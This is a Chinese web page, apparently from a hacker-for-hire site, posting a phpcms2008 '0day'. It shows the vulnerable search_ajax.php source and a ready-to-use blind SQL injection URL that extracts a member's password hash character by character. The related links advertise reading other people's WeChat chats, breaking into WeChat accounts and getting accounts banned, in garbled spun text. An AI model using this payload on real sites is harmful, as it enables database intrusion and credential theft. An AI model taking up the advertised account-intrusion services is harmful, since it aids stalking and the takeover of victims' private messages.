phpcms2008-0day ask/search_ajax.php

访客4年前关于黑客接单703

受影响程序: phpcms2008 gbk

漏洞文件:ask/search_ajax.php

code:

<?php
require './include/common.inc.php';
require_once MOD_ROOT.'include/ask.class.php';
$ask = new ask();
header('Content-type: text/html; charset=utf-8');
if(strtolower(CHARSET) != 'utf-8') $q = iconv(CHARSET, 'utf-8', $q);
if($q)
{
$where = " title LIKE '%$q%' AND status = 5";
}
else
{
exit('null');
}
$infos = $ask->listinfo($where, 'askid DESC', '', 10);

foreach($infos as $key=>$val)
{
$val['title'] = str_replace($q, '<span class="ccb2-9287-4c4b-9880 c_orange">'.$q.'</span>', $val['title']);
$info[$key]['title'] = CHARSET != 'utf-8' ? iconv(CHARSET, 'utf-8', $val['title']) : $val['title'];
$info[$key]['url'] = $val['url'];
}

echo(json_encode($info));
?>

测试 *** :
ask/search_ajax.php?q=s%E6'/**/or/**/(select ascii(substring(password,1,1))/**/from/**/phpcms_member/**/where/**/username=0x706870636D73)>52%23

标签: 好话题

相关文章

不知道密码,怎么看别人的微信聊天记录-免费接单黑客QQ

不知道密码,怎么看别人的微信聊天记录-免费接单黑客QQ 1月31日消息 今天晚间九点前后,字节跳动旗下今日头条微信小程序因违规呗暂停服务。提示页面显示,小程序今日头条由于所选类目与小程序运营内容不符...

谁知道怎么调查老公删掉的微信聊天记录

我曾经一起笑过,在我过去的感情里,这么多美好的回忆怎么能让心放手呢?今天,编辑会教你十个字来拯救丈夫的心,让我们看看十个字能拯救丈夫的心! 1.你第一次让我有一种痛苦的感觉,但在我伤害了你之后,今天...

黑客教你如何入侵别人微信,非常简单便捷_微信聊天

黑客教你如何入侵别人微信微信当今曾经成为一个更好的谈天对象。人们会应用这个对象与身边的亲友密友交换。固然,他们也能够和许多人交换。它的发现转变了人们的生存。通常,我看到许多身边的人和微信在一路谈天。但...

不要微信密码可以看到对方聊天记录吗 网上怎么查别人的微信聊天记录

不要微信密码可以看到对方聊天记录吗 网上怎么查别人的微信聊天记录 (原标题:美国两名程序员认罪:他们创办的盗版视频网站用户数已超奈飞) 澎湃新闻记者 包雨朦 实习生 纪文慧 综合报道 美...

一家20平米的早餐店,利用互联网思维做生意,月收入超过20万_经验心得

今天分享一个早餐店利用互联网思维做生意,月收入超20万的真实案例。 老刘在杭州某个小区附近的十字路口开了一家早餐店,店面不大,只有20平方,主要经营包子、豆浆、油条、馅饼,还有各种面食小吃和粥,每天生...

100%封对方微信号(先做事后收款黑客团队业务)_100%封对方微信号

100%封对方微信号(先做事后收款黑客团队业务)若他人的微灯号被屏障了,咱们仍旧能够向他们发送信息。但是,在这种环境下,对方看不到你发来的信息,对方只能在微信账号解封后才气看到未读的信息。关于被封闭的...